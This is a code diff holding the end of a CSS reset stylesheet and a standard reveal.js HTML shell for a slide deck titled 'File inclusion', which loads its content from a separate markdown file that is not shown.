+  -webkit-appearance: none;
+}
+
+/**
+ * 1. Correct the inability to style clickable types in iOS and Safari.
+ * 2. Change font properties to `inherit` in Safari.
+ */
+
+::-webkit-file-upload-button {
+  -webkit-appearance: button; /* 1 */
+  font: inherit; /* 2 */
+}
+
+/* Interactive
+   ========================================================================== */
+
+/*
+ * Add the correct display in Edge, IE 10+, and Firefox.
+ */
+
+details {
+  display: block;
+}
+
+/*
+ * Add the correct display in all browsers.
+ */
+
+summary {
+  display: list-item;
+}
+
+/* Misc
+   ========================================================================== */
+
+/**
+ * Add the correct display in IE 10+.
+ */
+
+template {
+  display: none;
+}
+
+/**
+ * Add the correct display in IE 10.
+ */
+
+[hidden] {
+  display: none;
+}
--- a/content/slides/1337/fi.html
+++ b/content/slides/1337/fi.html
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>File inclusion</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/fi.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+    <script src="../main.js"></script>
+  </body>
+</html>
No results found